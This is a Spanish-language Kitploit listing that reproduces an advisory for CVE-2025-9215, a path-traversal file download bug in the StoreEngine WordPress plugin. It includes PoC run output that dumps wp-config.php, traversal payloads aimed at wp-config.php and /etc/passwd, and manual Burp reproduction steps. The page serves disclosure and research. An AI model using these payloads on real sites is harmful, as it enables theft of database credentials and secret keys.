Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-9215 — StoreEngine – Potente complemento de comercio electrónico para WordPress para pagos, membresías, afiliados, ventas y más <= 1.4.0 - Descarga arbitraria de archivos autenticada (Suscriptor+) | Kitploit
Herramientas/GitHubGitHub/d0n601/cve-2025-9215
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónSeguridad WebPruebas de Penetración
GitHubd0n601/cve-2025-9215

CVE-2025-9215

StoreEngine – Potente complemento de comercio electrónico para WordPress para pagos, membresías, afiliados, ventas y más <= 1.4.0 - Descarga arbitraria de archivos autenticada (Suscriptor+)

Ver Repositorio
hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

StoreEngine Plugin de comercio electrónico potente para WordPress para pagos, membresías, afiliados, ventas y más <= 1.4.0 - Descarga arbitraria de archivos autenticada (Suscriptor+)

El plugin StoreEngine contiene una vulnerabilidad en su función de Importación/Exportación CSV que permite a cualquier usuario autenticado (suscriptor, autor, editor, etc.) descargar archivos arbitrarios del servidor, incluyendo archivos sensibles del sistema, archivos de configuración de WordPress y código fuente del plugin. La vulnerabilidad proviene del endpoint storeengine_csv/file_download que carece de una sanitización adecuada de rutas y solo depende de la verificación de nonce para la seguridad, mientras que el storeengine_nonce está expuesto a TODOS los usuarios del frontend a través del JavaScript del plugin. Nota: Esta vulnerabilidad requiere que el complemento CSV Import/Export esté habilitado por un administrador. Una vez habilitado, esta combinación permite que cualquier usuario autenticado extraiga el nonce de las páginas del frontend y lo use para descargar cualquier archivo en el servidor mediante ataques de path traversal, otorgando efectivamente a los usuarios suscriptor+ acceso a archivos sensibles del sistema y de la aplicación.

TL;DR Explotaciones

  • Se proporciona un POC CVE-2025-9215.py para demostrar que un usuario suscriptor descarga el archivo de configuración de WordPress mediante path traversal.
root@kitploit:~
 python3 ./CVE-2025-9215.py http://localhost:1337 user1 password   
Logging into: http://localhost:1337/wp-admin
NOTE: This exploit works with any authenticated user (subscriber, author, editor, etc.)
Extracting nonce from frontend scripts (accessible to any user)...
storeengine_nonce: 82cb37f678
NOTE: This nonce is exposed to ALL frontend users, making the vulnerability exploitable by any authenticated user!
NOTE: CSV Import/Export addon must be enabled by an administrator before exploitation.
This exploit demonstrates the vulnerability once the addon is already enabled.
The addon activation requires 'manage_options' capability (admin only).

Downloading wp-config.php via path traversal...
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the website, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
...
...
...

Detalles

Función de descarga de archivos vulnerable

Nota: Esta vulnerabilidad requiere que el complemento CSV Import/Export esté habilitado por un administrador. El endpoint de activación del complemento (storeengine/saved_addon_status) requiere la capacidad manage_options, lo que significa que solo los administradores pueden habilitar esta funcionalidad.

La acción AJAX storeengine_csv/file_download llama a la función file_download() en la línea 47 de /wp-content/plugins/storeengine/addons/csv/ajax/export.php, la cual carece de una sanitización adecuada de rutas y permite descargas arbitrarias de archivos:

root@kitploit:~
public function file_download( array $payload ) {
    if ( ! isset( $payload['filename'] ) ) {
        wp_send_json_error( __( 'Filename is required.', 'storeengine' ) );
    }

    $filename = $payload['filename'];
    $filepath = Helper::get_upload_dir() . '/csv/' . $filename;  // <-- VULNERABLE A PATH TRAVERSAL!
    
    // SIN VERIFICACIÓN DE CAPACIDAD - ¡CUALQUIER USUARIO PUEDE DESCARGAR CUALQUIER ARCHIVO!
    // SIN SANITIZACIÓN DE RUTAS - ¡LA CONCATENACIÓN DIRECTA PERMITE ATAQUES ../!
    
    if ( ! file_exists( $filepath ) ) {
        wp_send_json_error( __( 'File not found.', 'storeengine' ) );
    }

    header( 'Content-Type: application/octet-stream' );
    header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
    readfile( $filepath );  // <-- ¡LEE Y ENVÍA CUALQUIER ARCHIVO!
    exit;
}

Vulnerabilidad de construcción de ruta

La construcción vulnerable de la ruta permite un path traversal completo:

root@kitploit:~
// Helper::get_upload_dir() devuelve:
$upload = wp_upload_dir();
return $upload['basedir'] . '/storeengine_uploads';

// Así que la ruta completa se convierte en:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/' . $filename;

// Con path traversal, esto se convierte en:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../wp-config.php'
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../../../../etc/passwd'

Vulnerabilidad de exposición del nonce

El storeengine_nonce está expuesto a TODOS los usuarios del frontend a través del JavaScript del plugin. Esto ocurre en el método _get_script_data() en la línea 279 de /wp-content/plugins/storeengine/includes/assets.php:

root@kitploit:~
public function _get_script_data(): array {
    // ... otros datos ...
    return [
        'nonce'             => wp_create_nonce( 'wp_rest' ),
        'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // Línea 279 - EXPUESTO A TODOS LOS USUARIOS
        'rest_url'          => esc_url_raw( rest_url() ),
        // ... otros datos ...
    ];
}

Este nonce se localiza luego en el JavaScript del frontend a través del método frontend_scripts() en la línea 120:

root@kitploit:~
wp_localize_script(
    'storeengine-frontend-scripts',
    'StoreEngineGlobal',
    $this->get_frontend_script_data() // Llama a _get_script_data()
);

Verificación del nonce

El nonce se verifica en el método AbstractRequestHandler::check_permission() en la línea 510 de /wp-content/plugins/storeengine/includes/classes/abstract-request-handler.php:

root@kitploit:~
protected function check_permission( string $capability, bool $allow_visitors = false ) {
    if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
        return new WP_Error(/* ... */);
    }
    return true;
}

Esta combinación permite que cualquier usuario autenticado evite la protección CSRF y descargue cualquier archivo del servidor, incluyendo archivos de configuración sensibles, código fuente y potencialmente archivos del sistema.

Reproducción manual

  1. Inicie sesión en el panel de administración y navegue hasta el plugin StoreEngine.
  2. Vaya a la sección Exportación CSV (si está disponible en la interfaz de administración).
  3. Inicie Burp Suite o una herramienta similar y comience a interceptar el tráfico.
  4. Intercepte una solicitud a /wp-admin/admin-ajax.php que llame a la acción storeengine_csv/file_download.
  5. Modifique la solicitud para incluir el nonce extraído y un payload de path traversal.
  6. Envíe la solicitud con filename=../../../../wp-config.php para descargar el archivo de configuración de WordPress.
  7. Acceda a archivos de configuración sensibles que incluyen credenciales de base de datos, claves API y sales de seguridad.
Descargar herramienta